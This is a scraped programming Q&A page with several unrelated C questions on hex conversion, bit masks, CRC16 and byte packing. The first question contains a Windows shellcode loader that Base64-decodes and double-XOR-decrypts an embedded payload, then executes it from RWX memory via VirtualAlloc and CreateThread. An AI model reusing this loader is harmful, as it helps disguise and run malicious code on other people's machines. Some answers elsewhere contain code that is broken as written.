Converting Signed Char Array That Involves Hex Characters to Unsigned Char Array - arrays

I am trying to create a shellcode by integrating XOR encryption and Base64 encoding. However, I have a problem. Base64 decoder that I found outputs char array but I need unsigned char array because all the rest of the algorithm is created for unsigned char array. I added my code below. Can you suggest a solution?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"
/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );
int main() {
PVOID lclbuff;
HANDLE thrd;
int i;
//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
char myb64[1840];
unsigned char nw[1840];
b64_decode(mysrc, myb64);
printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
//However, It must reside inside an unsigned char array, as occurs in the output above.
//The output above must be turned into unsigned char array which is 'nw'. What can I do?
char key1[] = "elma";
char key2[] = "armut";
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key2[i % strlen(key2)];
}
for(i=0; i<sizeof(nw)-1; i++){
nw[i]^=key1[i % strlen(key1)];
}
lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, sizeof(nw));
thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
WaitForSingleObject(thrd, INFINITE);
return 0;
}
// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.
/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
unsigned char in[3];
int i, len = 0;
int j = 0;
b64dst[0] = '\0';
while(clrstr[j]) {
len = 0;
for(i=0; i<3; i++) {
in[i] = (unsigned char) clrstr[j];
if(clrstr[j]) {
len++; j++;
}
else in[i] = 0;
}
if( len ) {
encodeblock( in, b64dst, len );
}
}
}
/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
unsigned char out[4];
out[0] = in[0] << 2 | in[1] >> 4;
out[1] = in[1] << 4 | in[2] >> 2;
out[2] = in[2] << 6 | in[3] >> 0;
out[3] = '\0';
strncat(clrstr, out, sizeof(out));
}
void b64_decode(char *b64src, char *clrdst) {
int c, phase, i;
unsigned char in[4];
char *p;
clrdst[0] = '\0';
phase = 0; i=0;
while(b64src[i]) {
c = (int) b64src[i];
if(c == '=') {
decodeblock(in, clrdst);
break;
}
p = strchr(b64, c);
if(p) {
in[phase] = p - b64;
phase = (phase + 1) % 4;
if(phase == 0) {
decodeblock(in, clrdst);
in[0]=in[1]=in[2]=in[3]=0;
}
}
i++;
}
}
/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
unsigned char out[5];
out[0] = b64[ in[0] >> 2 ];
out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
((in[2] & 0xc0) >> 6) ] : '=');
out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
out[4] = '\0';
strncat(b64str, out, sizeof(out));
}

Related

How to write() hexadecimal representation of \n?

I'm trying to write() hexadecimal representation of \n without any success.
The code I have ft_putstr_non_printable.c:
#include <unistd.h>
void ft_putstr_non_printable(char *str)
{
int i;
unsigned char a;
char c;
i = 0;
a = 0x0;
while (str[i] != '\0')
{
if (str[i] <= 31 || str[i] == 127)
{
a = str[i];
write(1, &a, 1);
}
else
{
c = str[i];
write(1, &c, 1);
}
i++;
}
}
And main.c:
#include <stdio.h>
#include <string.h>
#include "ft_putstr_non_printable.c"
int main(void)
{
char a[] = "\n au revoir\a";
char b[] = "omellette du fromage\b";
char c[] = "coeuf#ca6va\e fef";
char d[] = " Batata \x7F rfg";
char e[] = "roquefort`[e{forte-e_tem,bolor \n feff";
char f[] = " we 9are 78familly \x1F rgfenf";
ft_putstr_non_printable(a);
ft_putstr_non_printable(b);
ft_putstr_non_printable(c);
ft_putstr_non_printable(d);
ft_putstr_non_printable(e);
ft_putstr_non_printable(f);
}
Am I doing something wrong? How do I get \x0a?
Edit: I can't use printf(). I'm limited to write().
Instead writing one character when str[i] is out of the printable range, form a little string and write that.
// if (str[i] <= 31 || str[i] == 127)
if (str[i] <= 31 || str[i] >= 127) {
unsigned char a = str[i];
char buf[5];
int len = sprintf(buf, "\\x%02X", a);
// write(1, &a, 1);
write(1, buf, len);
}
I'm limited to write()
If sprintf() not available:
// int len = sprintf(buf, "\\x%02X", a);
buf[0] = '\\';
buf[1] = 'x';
buf[2] = "0123456789ABCDEF"[a/16];
buf[3] = "0123456789ABCDEF"[a%16];
buf[4] = '\0';
len = 4;
Advanced:
char may be unsigned, so values above 127 are possible.
To well reverse the process it might make sense to print the \\ in hex.
if (str[i] <= 31 || str[i] >= 127 || str[i] == '\\') {
Notice:
I recommend the answer from chux - Reinstate Monica due to the nice conversion from 0..15 to hex.
See https://stackoverflow.com/a/68307913/4386427
I'll leave this answer as-is just in case someone should prefer this code-wise longer way of doing the conversion
Answer
Given all your restriction (which prevents normal code), you may be looking for:
char a = '\n'; // Or any other char
char h;
unsigned char tmp;
tmp = a;
tmp = tmp / 16;
if (tmp < 10)
{
h = '0' + tmp;
}
else
{
h = 'a' + tmp - 10;
}
write(1,&h,1);
tmp = a
tmp = tmp % 16;
if (tmp < 10)
{
h = '0' + tmp;
}
else
{
h = 'a' + tmp - 10;
}
write(1,&h,1);
Output
0a
Yet another option:
void ft_putstr_non_printable(const char *str) {
static const char hex[] = "0123456789ABCDEF";
int outfd = fileno(stdout);
char buf[4] = {'0', 'x'};
unsigned char ch; // used to convert the usually signed `char` to unsigned
for(; (ch = *str) != '\0'; ++str) { // loop until null terminator
if (ch < ' ' || ch > '~') { // outside printable ASCII range?
// pick the last two chars in `buf` from the hex array:
buf[2] = hex[ch >> 4]; // the high nibble
buf[3] = hex[ch & 0xF]; // the low nibble
write(outfd, buf, sizeof buf); // ex: writes 0x7F if ch == 127
} else {
write(outfd, &ch, 1);
}
}
ch = '\n';
write(outfd, &ch, 1);
}
I have wrapped the hex output into [] to make them mo distinct.
#include <unistd.h>
void ft_putstr_non_printable(const char *s)
{
const char *hex = "0123456789ABCDEF";
const unsigned char *str = s;
while (*str)
{
if (*str <= 31 || *str >= 127)
{
char hexrep[] = {'[','0','x', hex[*str >> 4], hex[*str & 0x0f],']'};
write(1, hexrep, sizeof(hexrep));
}
else
{
write(1, str, 1);
}
str++;
}
write(1, (char[]){'\n'},1);
}
int main(void)
{
char a[] = "\n au revoir\a";
char b[] = "omellette du fromage\b";
char c[] = "coeuf#ca6va\e fef";
char d[] = " Batata \x7F rfg";
char e[] = "roquefort`[e{forte-e_tem,bolor \n feff";
char f[] = " we 9are 78familly \x1F rgfenf";
ft_putstr_non_printable(a);
ft_putstr_non_printable(b);
ft_putstr_non_printable(c);
ft_putstr_non_printable(d);
ft_putstr_non_printable(e);
ft_putstr_non_printable(f);
}
https://godbolt.org/z/zq7sPfM6q
Output:
[0x0A] au revoir[0x07]
omellette du fromage[0x08]
coeuf#ca6va[0x1B] fef
Batata [0x7F] rfg
roquefort`[e{forte-e_tem,bolor [0x0A] feff
we 9are 78familly [0x1F] rgfenf
If you want to have \xHH format suimply change one line to:
char hexrep[] = {'\\','x', hex[*str >> 4], hex[*str & 0x0f]};
https://godbolt.org/z/6GonenfK7
Output:
\x0A au revoir\x07
omellette du fromage\x08
coeuf#ca6va\x1B fef
Batata \x7F rfg
roquefort`[e{forte-e_tem,bolor \x0A feff
we 9are 78familly \x1F rgfenf
What does write() actually do? It's defined in <unistd.h> as:
ssize_t write(int fildes, const void *buf, size_t nbyte);
It writes to a filedescriptor. It writes from a buffer and writes nbytes bytes from that memory location.
Thus when you pass &i to it, write just sees memory addresses. It doesn't see an int. Likewise with &c. What you need to do is turn each character (as a number) into a string representing the character. The code for ft_putstr_non_printable would look something like:
void ft_putstr_non_printable(char *str)
{
int i;
unsigned char a;
i = 0;
const char[] hexchars = "0123456789ABCDEF";
for (int ii = 0;str[i]!='\0';ii++)
{
a = str[i];
if (str[i]> 31 && str[i] < 127)
write(1, &a, 1);
else
{
write(1,'[',1);
if (a<=16
while (a!=0)
{
write(1,hexchars+(a%16),1);
a/=16;
}
write(1,']',1);
}
}
}
This is basically how itoa() works. #4386427's answer is more elegant for single byte characters, but I wanted to explicitly show how one would do it in a while loop.

bitwise operation in c about mask

Here is the question, write a produre
void compress(char *str, char mask)
that compress the string according to the specified 8- bit mask. for example, if str is
The quick red fox jumped
and the binary representation of mask is
10110011
the resulting value of str would be
Th ickrefoxjued
This result is determined by duplicating the mask for every group of eight characters and eliminating characters masked by a 0 bit:
The quick red fox jumped
101100111011001110110011
Note: the string being compress might bot be a multiple of eight characters in length, as it is in this example.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void compress(char *, unsigned char);
int main()
{
unsigned char mask = 179;
char *str;
str = malloc(100 * sizeof(char));
scanf("%s", str);
compress(str, mask);
return 0;
}
void compress(char *str, unsigned char mask)
{
float len = strlen(str);
int times;
if (len / 8 > (int)(len / 8))
{
times = (int)(len / 8 + 1);
}
for (int i = 0; i < times; i++)
{
mask = mask << 8 | 0263;
}
unsigned bit = 1u << (8 * times);
for (char *p = str; *p; p++)
{
for ( ; bit ; bit >>= 1)
{
if ((bit & mask) > 0)
{
printf("%c", *p);
}
}
}
}
This is my code, I the output is not what I want, can someone help thx.
This will fix your issue (change compress function as follow):
#include <iostream>
#include <string.h>
void compress(char *str, unsigned char mask)
{
// And as others said You can avoid using strlen
//int len = strlen(str);
//for(int i=0;i<len;i++)
for(int i=0;str[i];i++)
{
if(((mask >> (7 - (i%8))) & 0x01))
printf("%c", str[i] );
}
}
int main()
{
unsigned char mask = 179;
char *str;
str = (char*)malloc(100 * sizeof(char));
fgets(str, 100,stdin);
compress(str, mask);
return 0;
}
I've used fgets instead of scanf because scanf does not read space.
The quick red fox jumped
Te ickrefoxjued

Error calculating CRC16 for certain characters in C

I am trying to use this code to compute CRC16 bypass. For regular characters it works but for a hex sequence like 0xA0 0x00 0x01 0x01 it fails, not returning the correct value. Go easy on me, usually I do not write C code.
#include <stdio.h>
#include <string.h>
unsigned short CalculateCRC(unsigned char* a_szBuffuer, short a_sBufferLen){
unsigned short usCRC = 0;
for (short j = 0; j < a_sBufferLen; j++)
{
unsigned char* pucPtr = (unsigned char *)&usCRC;
*(pucPtr + 1) = *(pucPtr + 1) ^ *a_szBuffuer++;
for (short i = 0; i <= 7; i++)
{
if (usCRC & ((unsigned short) 0x8000))
{
usCRC = usCRC << 1;
usCRC = usCRC ^ ((unsigned short) 0x8005);
}
else
usCRC = usCRC << 1;
}
}
return (usCRC);
}
void append(char* s, char c)
{
int len = strlen(s);
s[len] = c;
s[len+1] = '\0';
}
int main() {
char d = (char)0xA0;
char d1 = (char)0x00;
char d2 = (char)0x01;
char d3 = (char)0x01;
char sss[256]="";
append(sss, d);
append(sss, d1);
append(sss, d2);
append(sss, d3);
unsigned char* uCB1 = (unsigned char*)sss;
unsigned short CRC= CalculateCRC(uCB1,4);
printf("CRC = %i\n", CRC);
printf("%s\n", sss);
printf("%x\n", CRC);
}
strlen(s); is for finding the length of a string, not for finding the length of a character array that is used, especially if it that may contain '\0'. #Eugene Sh.
Code needs to keep track of the array size used with another variable.
// void append(char* s, char c) {
void append(char* s, size_t *sz, char c) {
s[*sz] = c;
(*sz)++;
}
...
size_t size = 0;
append(sss, &size, d);
append(sss, &size, d1);
append(sss, &size, d2);
append(sss, &size, d3);
unsigned char* uCB1 = (unsigned char*)sss;
unsigned short CRC= CalculateCRC(uCB1, size);
// printf("%s\n", sss);
write a loop to print each `sss[]`.

How to correctly convert a Hex String to Byte Array in C?

I need to convert a string, containing hex values as characters, into a byte array. Although this has been answered already here as the first answer, I get the following error:
warning: ISO C90 does not support the ‘hh’ gnu_scanf length modifier [-Wformat]
Since I do not like warnings, and the omission of hh just creates another warning
warning: format ‘%x’ expects argument of type ‘unsigned int *’, but argument 3 has type ‘unsigned char *’ [-Wformat]
my question is: How to do this right? For completion, I post the example code here again:
#include <stdio.h>
int main(int argc, char **argv)
{
const char hexstring[] = "deadbeef10203040b00b1e50", *pos = hexstring;
unsigned char val[12];
size_t count = 0;
/* WARNING: no sanitization or error-checking whatsoever */
for(count = 0; count < sizeof(val)/sizeof(val[0]); count++) {
sscanf(pos, "%2hhx", &val[count]);
pos += 2 * sizeof(char);
}
printf("0x");
for(count = 0; count < sizeof(val)/sizeof(val[0]); count++)
printf("%02x", val[count]);
printf("\n");
return(0);
}
You can use strtol() instead.
Simply replace this line:
sscanf(pos, "%2hhx", &val[count]);
with:
char buf[10];
sprintf(buf, "0x%c%c", pos[0], pos[1]);
val[count] = strtol(buf, NULL, 0);
UPDATE: You can avoid using sprintf() using this snippet instead:
char buf[5] = {"0", "x", pos[0], pos[1], 0};
val[count] = strtol(buf, NULL, 0);
You can either switch your compiler to C99 mode (the hh length modifier was standardised in C99), or you can use an unsigned int temporary variable:
unsigned int byteval;
if (sscanf(pos, "%2x", &byteval) != 1)
{
/* format error */
}
val[count] = byteval;
Why not do it without using sscanf, strol, etc. Below is HexToBin and as a free-bee, BinToHex. (Note originally there were returned enum error codes through an error logging system not a simple -1 return.)
unsigned char HexChar (char c)
{
if ('0' <= c && c <= '9') return (unsigned char)(c - '0');
if ('A' <= c && c <= 'F') return (unsigned char)(c - 'A' + 10);
if ('a' <= c && c <= 'f') return (unsigned char)(c - 'a' + 10);
return 0xFF;
}
int HexToBin (const char* s, unsigned char * buff, int length)
{
int result;
if (!s || !buff || length <= 0) return -1;
for (result = 0; *s; ++result)
{
unsigned char msn = HexChar(*s++);
if (msn == 0xFF) return -1;
unsigned char lsn = HexChar(*s++);
if (lsn == 0xFF) return -1;
unsigned char bin = (msn << 4) + lsn;
if (length-- <= 0) return -1;
*buff++ = bin;
}
return result;
}
void BinToHex (const unsigned char * buff, int length, char * output, int outLength)
{
char binHex[] = "0123456789ABCDEF";
if (!output || outLength < 4) return;
*output = '\0';
if (!buff || length <= 0 || outLength <= 2 * length)
{
memcpy(output, "ERR", 4);
return;
}
for (; length > 0; --length, outLength -= 2)
{
unsigned char byte = *buff++;
*output++ = binHex[(byte >> 4) & 0x0F];
*output++ = binHex[byte & 0x0F];
}
if (outLength-- <= 0) return;
*output++ = '\0';
}
Using mvp's suggested change, I created this function which includes error checking (invalid characters and uneven length).
This function will convert a hexadecimal string - NOT prepended with "0x" - with an even number of characters to the number of bytes specified. It will return -1 if it encounters an invalid character, or if the hex string has an odd length, and 0 on success.
//convert hexstring to len bytes of data
//returns 0 on success, -1 on error
//data is a buffer of at least len bytes
//hexstring is upper or lower case hexadecimal, NOT prepended with "0x"
int hex2data(unsigned char *data, const unsigned char *hexstring, unsigned int len)
{
unsigned const char *pos = hexstring;
char *endptr;
size_t count = 0;
if ((hexstring[0] == '\0') || (strlen(hexstring) % 2)) {
//hexstring contains no data
//or hexstring has an odd length
return -1;
}
for(count = 0; count < len; count++) {
char buf[5] = {'0', 'x', pos[0], pos[1], 0};
data[count] = strtol(buf, &endptr, 0);
pos += 2 * sizeof(char);
if (endptr[0] != '\0') {
//non-hexadecimal character encountered
return -1;
}
}
return 0;
}

How can I store 4 char into an unsigned int using bitwise operation?

I would like to store 4 char (4 bytes) into an unsigned int.
You need to shift the bits of each char over, then OR combine them into the int:
unsigned int final = 0;
final |= ( data[0] << 24 );
final |= ( data[1] << 16 );
final |= ( data[2] << 8 );
final |= ( data[3] );
That uses an array of chars, but it's the same principle no matter how the data is coming in. (I think I got the shifts right)
One more way to do this :
#include <stdio.h>
union int_chars {
int a;
char b[4];
};
int main (int argc, char const* argv[])
{
union int_chars c;
c.a = 10;
c.b[0] = 1;
c.b[1] = 2;
c.b[2] = 3;
c.b[3] = 4;
return 0;
}
More simple, its better :
/*
** Made by CHEVALLIER Bastien
** Prep'ETNA Promo 2019
*/
#include <stdio.h>
int main()
{
int i;
int x;
char e = 'E';
char t = 'T';
char n = 'N';
char a = 'A';
((char *)&x)[0] = e;
((char *)&x)[1] = t;
((char *)&x)[2] = n;
((char *)&x)[3] = a;
for (i = 0; i < 4; i++)
printf("%c\n", ((char *)&x)[i]);
return 0;
}
You could do it like this (not bit-wise, but maybe more easy):
unsigned int a;
char *c;
c = (char *)&a;
c[0] = 'w';
c[1] = 'o';
c[2] = 'r';
c[3] = 'd';
Or if you want bit-wise you can use:
unsigned int a;
a &= ~(0xff << 24); // blank it
a |= ('w' << 24); // set it
// repeat with 16, 8, 0
If you don't blank it first you might get another result.

Resources